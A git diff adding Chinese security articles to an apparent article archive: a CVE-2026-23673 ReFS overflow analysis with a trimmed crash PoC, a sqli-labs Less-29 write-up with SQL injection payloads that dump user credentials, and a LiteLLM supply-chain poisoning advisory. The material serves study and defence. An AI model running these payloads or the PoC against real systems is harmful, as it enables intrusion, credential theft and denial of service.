diff --git a/data.json b/data.json index b7b131ee..595edc38 100644 --- a/data.json +++ b/data.json @@ -19349,5 +19349,10 @@ "https://mp.weixin.qq.com/s/cdYEIXL0mNaqBRoIwTc81w": "深度剖析 Node.js 环境下的 SSRF 漏洞:从原理挖掘到防御体系构建", "https://mp.weixin.qq.com/s/1LmbFxfGmTmNnOPO363GLA": "一个综合性的Web安全学习平台 | 涵盖16大类Web安全漏洞,共80+个实战场景", "https://mp.weixin.qq.com/s/Pta7hBxwT6nUrNy3UO_LaA": "深科特 LEAN MES 任意文件上传漏洞分析(从逻辑缺陷到 RCE)", - "https://mp.weixin.qq.com/s/ZzfKh9I7GILKdQ7vyi-gGw": "CVE-2026-33371|Zimbra存在XML外部实体(XXE)漏洞" + "https://mp.weixin.qq.com/s/ZzfKh9I7GILKdQ7vyi-gGw": "CVE-2026-33371|Zimbra存在XML外部实体(XXE)漏洞", + "https://mp.weixin.qq.com/s/4DeGMyiZynCFuPY-1vlsYw": "【漏洞预警】Litellm 2026.3.24 供应链投毒事件", + "https://mp.weixin.qq.com/s/k7BAkFlQ4C19aZ_bXVmoHA": "苹果警告旧款iphone易受Coruna和DarkSword漏洞工具包攻击", + "https://mp.weixin.qq.com/s/MOouM8QlEOg7U8YFMh7fsQ": "[被忽略的漏洞]sqli-labs之Less-29的另一种玩法", + "https://mp.weixin.qq.com/s/FVmbZs3bnfvNfIYFwmAFaQ": "CVE-2026-23673 ReFS 越界读分析", + "https://mp.weixin.qq.com/s/aT359r9Ym7VQvBUbG-t0sg": "命令执行:突破Shell命令过滤限制" } \ No newline at end of file diff --git a/doc/2026-03/CVE-2026-23673 ReFS 越界读分析.md b/doc/2026-03/CVE-2026-23673 ReFS 越界读分析.md new file mode 100644 index 00000000..81d4391e --- /dev/null +++ b/doc/2026-03/CVE-2026-23673 ReFS 越界读分析.md @@ -0,0 +1,65 @@ +# CVE-2026-23673 ReFS 越界读分析 +原创 毕方安全实验室 + 毕方安全实验室 BeFun安全实验室 2026-03-25 08:23 + + + +# CVE-2026-23673 ReFS 越界读分析 + +微软3月修了一个ReFS的越界读取漏洞,(AI生成:**ReFS (Resilient File System)** + 是微软推出的一种弹性文件系统,旨在最大限度地提高数据可用性、跨不同工作负载高效扩展到大型数据集,并提供数据完整性保护。它通常用于 Windows Server 平台以及 Windows 10/11 的高级版本(如工作站版、Dev Drive 等)。) + +默认情况下的Windows 11不能直接创建refs格式的磁盘,需要开启开发者模式创建dev drive。 +## 补丁 +``` +char __fastcall RefsCopyWriteA( struct _FILE_OBJECT *FileObject, __int64 *pOffset, unsigned int Length, __int64 a4, int a5, __int64 a6, PIO_STATUS_BLOCK IoStatus){ __int64 StartOffset; // v9 __int64 EndOffset; // v10 unsigned int Len; // v11 if ( a6 && ((StartOffset = *pOffset, EndOffset = StartOffset + Length, Len = Length, !(unsigned int)Feature_2771350842__private_IsEnabledDeviceUsageNoInline()) || StartOffset < 0 // 补丁新增的溢出校验:确保 StartOffset + Len == EndOffset 没有发生截断或溢出 || StartOffset <= EndOffset && StartOffset + Len == EndOffset) ) { return RefsCopyWriteInternal(FileObject, &StartOffset, a6, 0, IoStatus); } else { return 0; // 如果检测到溢出,直接拒绝执行 }} +``` + +补丁新增的核心逻辑是: +``` +StartOffset <= EndOffset && StartOffset + Len == EndOffset +``` + +这里Length是我们可以控制的,可以传一个很大的Length进而触发整数溢出: +``` +1: kd> dq @rdx L1ffff9808`8137be18 7fffffff`fffffff0 +``` + +进而运行到nt!CcCopyWrite +函数,此时的ULONG Length +参数也是这个大数,引发崩溃。 +## 复现步骤 + +Windows10/11下默认没开创建ReFS格式的VHD的功能,所以我们 + +先打开开发者模式: + + + +然后创建一个dev drive: + + + +最小是50G: + + + +创建好以后就是ReFS格式: + + + +然后初始化以后会自动挂载,然后poc(created by Gemini 3.1 Pro): +``` +int main(int argc, char* argv[]) { // 省略了一些代码以防止滥用 std::cout << "[+] Creating file: " << filePath << "\n"; HANDLE hFile = CreateFileA(filePath.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { std::cout << "[-] Failed to create file: " << GetLastError() << "\n"; return 1; } std::cout << "[+] Initializing file to ensure it is cached...\n"; char buffer[4096]; memset(buffer, 'A', sizeof(buffer)); DWORD bytesWritten = 0; // Normal write to ensure cache maps are set up if (!WriteFile(hFile, buffer, 1024, &bytesWritten, NULL)) { std::cout << "[-] Initial write failed: " << GetLastError() << "\n"; } ULONGLONG offset = 0x7FFFFFFFFFFFFFF0ULL; OVERLAPPED ov = { 0 }; ov.Offset = (DWORD)(offset & 0xFFFFFFFF); ov.OffsetHigh = (DWORD)(offset >> 32); // Write across the boundary WriteFile(hFile, buffer, 0x200, &bytesWritten, &ov); // Also try larger lengths WriteFile(hFile, buffer, 0x1000, &bytesWritten, &ov);} +``` + + + + + + + + + + + diff --git a/doc/2026-03/[被忽略的漏洞]sqli-labs之Less-29的另一种玩法.md b/doc/2026-03/[被忽略的漏洞]sqli-labs之Less-29的另一种玩法.md new file mode 100644 index 00000000..43e1b738 --- /dev/null +++ b/doc/2026-03/[被忽略的漏洞]sqli-labs之Less-29的另一种玩法.md @@ -0,0 +1,83 @@ +# [被忽略的漏洞]sqli-labs之Less-29的另一种玩法 +原创 破阵攻防实验室 + 破阵攻防实验室 破阵攻防实验室 2026-03-25 05:55 + +**。。免责声明** + + 由于传播、利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人承担, +破阵攻防实验室 +及文章作者不承担任何责任。如有侵权烦请告知,我们将立即删除相关内容并致歉。请遵守《中华人民共和国个人信息保护法》、《中华人民共和国网络安全法》等相关法律法规。 + + +小插曲 + + + 博客也是很久没有更新了,并不是博主没有学习新的知识了,鄙人是一直在学习的。关于博客更新这点,如果硬要更新内容的话也是有东西的,只是觉得没有必要,因为内容也都和网上的大同小异,只会增加冗余,所以,我就减少了更新频率,也想提高大家的阅读质量! + + 这次更新的内容是大家比较熟悉的,就是sqli-labs靶场。分享的这个漏洞点是我重新打sqli-labs的时候,在没有看网上的WP的情况下发现的,后面我在网上看WP分析的时候,很多博主只讲了一种大家用的比较多的方法,所以我就想通过这篇文章分享一下Less-29关卡的另一种玩法。 + + +常见玩法 + +最常见的玩法就是利用参数污染 + +payload: +``` +?id=1&id=-1'%20union%20select%201,%202,%20(select%20group_concat(username,'::',password)%20from%20users)%23 +``` + + + +双参数/参数污染绕过原理:分析代码可知,WAF 检测内容来自 $_SERVER['QUERY_STRING'],而 $_SERVER['QUERY_STRING']的值是 URL 文件路径后面的所有参数,如 URL http://example.com/test.php?id=1&name=zhangsan&age=20,则 $_SERVER['QUERY_STRING']的值为 id=1&name=zhangsan&age=20,所以当 URL 文件路径后面的参数为 ?id=1&id=1'时,$_SERVER['QUERY_STRING']的值为 id=1&id=1', +而 $_GET['id']获取值的方式:当 URL 中存在多个同名变量时,取最后一个变量的值!二者取值不同,造成了参数污染! + + + + + +这种玩法的漏洞点在 java_implimentation函数中,只要该函数遍历到 id 参数就直接返回,也就是只检测第一个 id 参数的值,最终检测的是第一个同名参数的值,SQL查询语句拼接的却是最后一个同名变量的值,这就导致绕过! + + + + + +另一种玩法 + +这里利用长字符串绕过,payload: +``` +?id=111111111111111111111111111111'%20union%20select%201,%202,%20(select%20group_concat(username,'::',password)%20from%20users)%23 +``` + +这里没有利用参数污染,始终都只有一个 id 参数 + + + +我还利用了 sleep 函数进行验证,payload: +``` +?id=111111111111111111111111111111' or sleep(0.5)%23111111111111111111111111111111' or sleep(0.5)%23 +``` + + + +根据响应时间验证后端确实执行了SQL语句! + +长字符串绕过原理:逻辑漏洞绕过 + + + +java_implimentation函数只读取了 3-30范围内的 id值,然后传递给 whitelist函数进行检测,这就存在问题了,在 30 长度范围外的字符串是没有进行过滤的!当输入子串通过检测后,SQL 语句直接拼接原始输入,所以造成了 SQL 注入!!! + + + + + + + + +如果想要及时了解更多内容,请关注 +破阵攻防实验室 + +微信公众号! + + + diff --git a/doc/2026-03/【漏洞预警】Litellm 2026.3.24 供应链投毒事件.md b/doc/2026-03/【漏洞预警】Litellm 2026.3.24 供应链投毒事件.md new file mode 100644 index 00000000..58f24281 --- /dev/null +++ b/doc/2026-03/【漏洞预警】Litellm 2026.3.24 供应链投毒事件.md @@ -0,0 +1,74 @@ +# 【漏洞预警】Litellm 2026.3.24 供应链投毒事件 +安全探索者 + 安全探索者 安全探索者 2026-03-25 07:10 + +↑点击关注,获取更多漏洞预警,技术分享 + +0x01 组件介绍 + + +LiteLLM作为一款热门开源AI模型网关,其SDK在Pypi仓库总下载量超过4.8亿次。该工具通过标准化 +OpenAI +格式接口,支持对20多种大型语言模型(LLM)API的统一调用,兼容OpenAI、 +Azure +、 +Anthropic +、Google Vertex AI等主流服务,并允许通过配置接入私有化部署模型或小众API。 + +其核心功能包括跨平台兼容性、统一API接口、多模型负载均衡、全链路成本追踪、企业级密钥管理及生产级速率限制,同时支持异步调用与流式处理。内置缓存与流量控制功能可优化调用效率,并提供请求缓存、用量统计、审计日志等企业级管理模块 + +0x02 漏洞描述 + + + 2026年3月24日,互联网上披露 Litellm项目遭受供应链攻击。在 Litellm 的1.82.7 和 1.82.8 版本中存在proxy_server.py与litellm_init.pth恶意文件。安装受影响版本的包后,将造成包括SSH Key、云凭证等各类敏感信息泄漏。官方已下线相关影响包,建议客户尽快排查。 +目前官网已下架受影响版本,无1.82.7,1.82.8版本 + + + + + +0x03 影响版本 + +LiteLLM 1.82.7 + +LiteLLM 1.82.8 +